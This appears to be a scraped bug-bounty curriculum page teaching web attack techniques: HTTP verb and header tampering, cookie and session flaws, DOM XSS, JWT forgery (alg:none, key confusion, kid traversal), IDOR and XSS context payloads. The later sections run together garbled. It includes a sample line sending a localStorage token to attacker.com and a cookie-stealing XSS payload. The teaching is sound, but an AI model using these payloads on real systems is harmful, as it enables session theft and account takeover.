Not a course.
A curriculum.
Progressive study from core web fundamentals to specialized bug hunting. Each module builds on the last. No gaps, no shortcuts.
HTTP is a stateless request-response protocol over TCP. Every request has an exact structure: METHOD /path HTTP/1.1\r\n, then headers, then \r\n\r\n (the critical separator), then optional body. HTTP/2 uses binary frames but Burp translates it — your workflow doesn't change.
GET — No body. Idempotent. But many APIs accept params in body anyway.
PUT — Replaces the full resource. Very interesting for IDOR.
PATCH — Partial modification. Even more interesting for IDOR.
DELETE — Always test if it works without auth.
OPTIONS — CORS negotiation. Reveals what methods the server allows.
Hunter thought: Try PUT /api/users/123 instead of GET. Many backends implement the happy path (GET, POST) but forget to protect less common verbs.
401 — Unauthenticated. No token.
403 — Authenticated but no permission. THE difference from 401.
404 — Or is it a 403 disguised? Many backends do this.
500 — Note what input caused it.
Differential error: If /api/documents/456 returns 403 but /api/documents/9999 returns 404, you confirmed ID 456 exists. That's user enumeration via status code oracle.
Most BAC/IDOR bugs live in the gap between authorization middleware and business logic. The middleware checks 'can you access documents?' but the business logic accepts documentId without verifying that document belongs to you.
Browser → CDN/WAF → LB → Auth MW → Authz MW → Routing → Business logic → DB
The gap between Authz MW and Business logic is where most bugs live.
Many backends use X-Forwarded-For for rate limiting, geolocation, or IP whitelist bypass. Test:
X-Forwarded-For: 127.0.0.1X-Real-IP: 127.0.0.1True-Client-IP: 10.0.0.1
If the server uses Host to build password reset links or confirmation emails, change it to your domain:
Host: evil.attacker.com
If the WAF only filters JSON but the backend accepts form data, you can bypass protections. Try switching:
Content-Type: application/x-www-form-urlencodedContent-Type: multipart/form-data
Request headers go from client to server — they tell the server who is asking, what format they accept, where they came from, and what credentials they carry. Response headers go from server to client — they tell the browser how to interpret and handle the response.
Hunter angle: Request headers you control are attack vectors. Response headers the server sends are information leakage and security posture signals.
These headers reveal the server's stack and should not be present in production:
Server: nginx/1.18.0 — web server version
X-Powered-By: Express — framework
X-AspNet-Version: 4.0.30319 — .NET version
X-Generator: Drupal 9 — CMS version
Via: 1.1 varnish — cache layer
X-Varnish: 12345678 — Varnish cache ID
Why it matters: these headers tell you what CVEs to look for, what CMS plugins exist, what framework quirks to exploit, and how the infrastructure is layered.
Content-Security-Policy — controls what resources the browser can load. Absence = XSS is easier to exploit. Weak policy = bypass vectors.
X-Frame-Options — prevents the page from being embedded in iframes. Absence = clickjacking possible.
X-Content-Type-Options: nosniff — prevents the browser from MIME-sniffing responses. Absence = content-type confusion attacks.
Strict-Transport-Security — forces HTTPS. Absence on HTTPS sites = downgrade attacks possible.
Referrer-Policy — controls what URL is sent in the Referer header. Absence = sensitive URLs may leak to third parties.
Permissions-Policy — controls browser features (camera, geolocation, etc.). Absence = features accessible when they shouldn't be.
These are the most useful request headers to tamper with during hunting:
Host — if the server uses this to build URLs (password resets, redirects), you can hijack tokens.
X-Forwarded-For / X-Real-IP — IP spoofing for rate limit bypass, whitelist bypass, geofencing bypass.
Origin — key for CORS testing. Change to attacker.com and see if ACAO reflects it.
Referer — some backends use this for access control ('only allow requests from our own pages'). Spoof it.
Content-Type — switching between JSON / form-data / multipart can bypass WAF filters or trigger different parsing logic.
X-HTTP-Method-Override — verb tunneling. A POST with this header can behave like a DELETE, bypassing method-level middleware.
Accept-Language — sometimes triggers different code paths (localized content, different auth logic). Worth varying.
Content-Security-Policy is complex enough to deserve its own module (3.8), but you need to be able to read it now. A CSP defines which sources are trusted for scripts, styles, images, etc.
Weak CSP patterns to look for:
script-src 'unsafe-inline' — inline scripts allowed. XSS payloads work directly.
script-src 'unsafe-eval' — eval() allowed. Many XSS bypass techniques work.
script-src * — wildcard. Any external script allowed.
script-src cdn.example.com — if cdn.example.com has JSONP or Angular, it's bypassable.
No CSP at all is obviously bad — but a misconfigured CSP is almost worse because it creates a false sense of security.
A common pattern: the CSP or HSTS is set in the application code, but a CDN or reverse proxy strips it before reaching the client. Test by hitting the origin directly (bypass CDN) and comparing headers.
Also common: the Vary header is set by the app but stripped by the CDN, invalidating the CORS protection.
Content-Security-Policy-Report-Only tells the browser to log violations but not enforce them. It's for testing. When left in production, it provides zero protection — the XSS still executes.
If you see this header, treat the page as if it had no CSP.
Some backends check the Referer header to confirm the request came from their own frontend. This is bypassable in two seconds:
Referer: https://legitimate-app.com/dashboard
The Referer header is client-controlled. Never a security boundary.
Sensitive endpoints (profile data, tokens, financial info) should have:
Cache-Control: no-store, no-cache, private
When missing, the response may be cached by shared proxies, CDNs or the browser itself — leaking the data to the next user on a shared machine or network.
The server sends Set-Cookie in the response. The browser stores it and attaches it automatically to every subsequent request matching the domain and path. The key word is automatically — the browser does this with no JS intervention, which is exactly what makes CSRF possible.
HttpOnly — Blocks document.cookie. Stops XSS from stealing the cookie directly. But doesn't stop CSRF.
Secure — Transmit over HTTPS only. Without this, the cookie travels in cleartext over HTTP.
SameSite=Strict — Only sent on same-site navigations. No cross-site requests at all.
SameSite=Lax — Sent on top-level navigations (clicking a link) but NOT on cross-site subresources. Default in modern browsers. Mitigates most CSRF but not all.
SameSite=None — Always sent. Requires Secure. Needed for legitimate cross-site usage (iframes, embeds). Classic CSRF territory.
Domain — If set to .example.com, the cookie is sent to all subdomains. A subdomain takeover can steal the cookie.
Path — Scopes the cookie to a path. Often ignored by hunters — but /api and /admin having different Path cookies is interesting.
Expires / Max-Age — No expiry = session cookie (disappears on browser close). Long expiry = persistent. Long-lived auth cookies are bigger impact for account takeover bugs.
A cookie set on api.example.com without a Domain attribute is only sent to api.example.com. If Domain=.example.com is set, it goes to every subdomain. This matters: a wildcard cookie scope plus a subdomain takeover on any subdomain = session cookie theft.
Session fixation happens when the app doesn't rotate the session token after login. Flow: (1) Attacker gets a pre-auth session token. (2) Tricks victim into using that token. (3) Victim logs in. (4) Attacker now has an authenticated session. The fix is trivial: generate a new session ID on every privilege change.
The most common session fixation pattern. The backend reuses the pre-auth session ID after login. Fix: always invalidate and reissue on any privilege escalation event.
Developers set the wildcard domain for SSO or subdomain sharing. They often don't audit all subdomains. A forgotten staging.example.com pointing somewhere externally controlled now has the session cookie in scope.
Set-Cookie: auth=xyz; HttpOnly; Secure; SameSite=Lax; Domain=.example.com; Max-Age=2592000. List every security concern. ▾Server-side: the server stores session state in memory or DB. The client holds only an opaque random ID — a pointer. Invalidation is instant: delete the record.
Stateless (JWT): all state is encoded in the token itself, signed but not encrypted by default. The server validates the signature and reads the payload — no DB lookup needed. You can't invalidate a token without a blocklist.
Creation (login) — token generated here. Bug: predictable token, no rotation from pre-auth state (fixation).
Transport — sent via cookie or Authorization header. Bug: missing HttpOnly/Secure, token in URL params.
Validation — server checks the token. Bug: accepting expired tokens, missing signature validation, trusting client-supplied role claims.
Invalidation (logout) — Bug: only client-side deletion, server still accepts old token.
A good session token is cryptographically random with enough entropy to make brute force infeasible. Red flags: sequential IDs, timestamps as tokens, base64-encoded predictable data, tokens under 128 bits. Collect 20 tokens and look for patterns.
Cookie (HttpOnly) — JS can't read it. Sent automatically. Protected from XSS token theft. Vulnerable to CSRF. Best default.
localStorage — JS can read it freely. Not auto-sent. CSRF-safe. But a single XSS = complete token exfiltration: fetch('//attacker.com/?t='+localStorage.getItem('token')).
Memory — Gone on tab close. Harder to steal. Used in high-security SPAs but impractical for most apps.
The frontend clears the cookie, the backend returns 200, but never invalidates the token server-side. The old token is permanently valid. Test: save the cookie before logout, replay it after.
The JWT payload contains role claims. The backend checks the signature but uses payload.role directly for authorization — if signature validation is weak (alg:none), it is full privilege escalation. Covered in depth in module 2.1.
Network request → HTML parsing → DOM construction → CSS → Render tree → Layout → Paint. The critical moment: HTML parsing is where the browser decides what is markup vs content. XSS is fundamentally a parsing problem — attacker-controlled data interpreted as markup.
The DOM is the browser's live in-memory representation of the page as a tree. JS can read and modify it at runtime. Key: innerHTML, document.write(), and eval() are DOM sinks — they interpret strings as HTML/JS. Attacker-controlled data reaching a sink = DOM XSS.
Sources — where attacker-controlled data enters JS: location.hash, location.search, document.referrer, window.name, postMessage data.
Sinks — where data gets executed as HTML/JS: innerHTML, outerHTML, document.write(), eval(), setTimeout(string), location.href= (open redirect/XSS), element.src=.
DOM XSS = source → no sanitization → sink. The server never sees the payload.
The primary security boundary is the origin (scheme + host + port). Cross-origin iframes can't read the parent's DOM. But: postMessage can cross origins (misconfigurations = module 3.7), clickjacking exploits visual overlay without read access, and window.open() gives opener handles.
Every page has a global execution context (window). Scripts from different origins don't share it. Service workers run separately with network interception capability — often overlooked attack surface. Prototype pollution: modifying Object.prototype in the global context affects all objects on the page.
t=location.hash.substring(1),document.querySelector('#msg').innerHTML=decodeURIComponent(t). Is this exploitable? What's the payload? What's the impact? ▾location.hash. Sink: innerHTML. No sanitization. Payload: #%3Cimg%20src%3Dx%20onerror%3Dalert(document.cookie)%3E. Impact: DOM XSS — hash-based so no server-side filter catches it. If cookies are not HttpOnly = full session theft. ▾alg) and optional key hints (kid, jku, x5u). The payload holds claims: sub (who), exp (until when), and often role/scope. The signature is computed over header+payload with a key. Critically: the first two parts are just base64 — anyone can read and rewrite them. Only the signature is supposed to stop tampering. Every attack targets the gap between 'the payload says X' and 'the signature actually proves X'.alg: none, meaning 'no signature'. A library that honours it will accept a token with an empty signature part as valid. Set the header to {"alg":"none"}, edit the payload freely (bump role to admin), drop the signature, keep the trailing dot. If it authenticates, the server never verified anything. Also try casing tricks (None, nOnE) against naive allowlists.verify(token, key) and you change alg to HS256, some libraries will HMAC-verify using that public key as the HMAC secret. The public key is not secret — you can often fetch it (JWKS endpoint, TLS cert, docs). Sign your tampered token with HS256 using the public key bytes as the secret, and the server validates it as genuine. Root cause: the verifier trusts the token's own alg instead of pinning the expected one.secret, changeme, framework defaults appear constantly. Separately, even with a valid signature, check what the server doesn't validate: an ignored exp (replay old tokens), an unverified iss/aud (accept a token minted for another service), or a role claim read straight into authorization. A perfectly signed token with a trusted-but-unchecked claim is still privilege escalation.kid often indexes a key by id — if it feeds a file path or SQL query, try path traversal (kid: ../../dev/null → empty key → sign with empty secret) or SQLi. jku/x5u point to a URL serving the key set — if the host isn't strictly allowlisted, point it at your server, host your own key, and the server verifies your token with your key. Any key hint the client controls is an attack surface.jwt.verify(token, key) and lets the token's header choose alg. That single decision enables both alg:none and RS256→HS256 confusion. The fix they skipped: pass an explicit algorithms:['RS256'] allowlist. If you can change the header algorithm and still authenticate, this is the root cause.jwt.decode() (read only, no signature check) and then trusts the claims — a shocking amount of homegrown auth does exactly this. Tamper any claim and it sails through, because nothing ever checked the signature. Test by editing the payload and leaving a garbage signature: if it still works, verification isn't happening at all.exp. Combined with a long or missing exp, a leaked token is a durable session. Save a token, 'log out', replay it — a 200 confirms there is no real invalidation./api/invoices/4012), a query param (?user_id=99), a body field ({"account":"acc_18"}), or a header. If you can change it and reach someone else's object, it's an IDOR./admin/users/12 and it works. Cross-tenant — the hardest-hitting: an object from another organization/workspace entirely, where the impact is a full data-isolation break. Always state which axis you proved — it changes the severity and the report.GET /api/notes/88 may 403, but PATCH /api/notes/88 may not be checked at all. Backends protect the read path and forget the write path constantly.GET /api/search?q= results. Predictability is a discovery problem, not an authorization one.Invoice.find(id) with the raw id. The fix they skipped is one line: Invoice.find(id, owner=current_user). You are looking for the absence of that WHERE owner_id = me clause.user_id in the body 'for convenience' and uses the body value. Send your own request, then replace the body user_id with another. If the response is scoped to the body value instead of the token, the token is decorative.node(id:) resolver, or aliasing the same query 50 times with different ids in one request, often reaches objects the REST layer would have blocked. If the target has GraphQL, test object access there separately — it is a different authorization surface.<svg onload=...>. HTML attribute — you need to break out of the quotes first: "><svg...> or, if you can't, an event handler in the same attribute. Inside a <script> — you're already in JS; break the string/statement: ';alert(1)//. URL context (href, src) — a javascript: scheme may execute. Identify the context before you pick a payload — a reflected < that renders as < is encoded for HTML but might be raw inside JS.<script>alert(1)</script>. Send a unique marker (xss7391) and find every place it echoes. Then send the context-breaking characters alone — < > " ' ` — and read the raw response to see which survive unencoded. Which characters come back intact tells you the context and the encoding, and therefore the payload. This also avoids tripping WAFs on obvious strings before you even know if reflection exists.onerror blocked? use onpointerover. <script> stripped? <svg>, <img>, <details ontoggle>. Case, unicode, double-encoding, and broken tags the parser repairs all bypass naive filters. The real fix is context-aware output encoding plus a strong CSP — so absence of encoding, or HTML-encoding applied to a JS context (wrong context), is the actual bug. Match your bypass to what the filter forgot, not to a payload list.<script>var x='...'</script> block, where HTML-encoding does nothing and ';alert(1)// breaks straight out. Right tool, wrong place. Always check whether the encoding matches the sink context, not whether encoding merely exists.<script> is not output encoding. It is a blocklist, and blocklists are bypassable by definition: alternative tags/events, encoding, mutation. If the underlying reflection is unencoded, the vuln is present the moment the filter is evaded — report the missing encoding, and demonstrate a bypass to prove exploitability.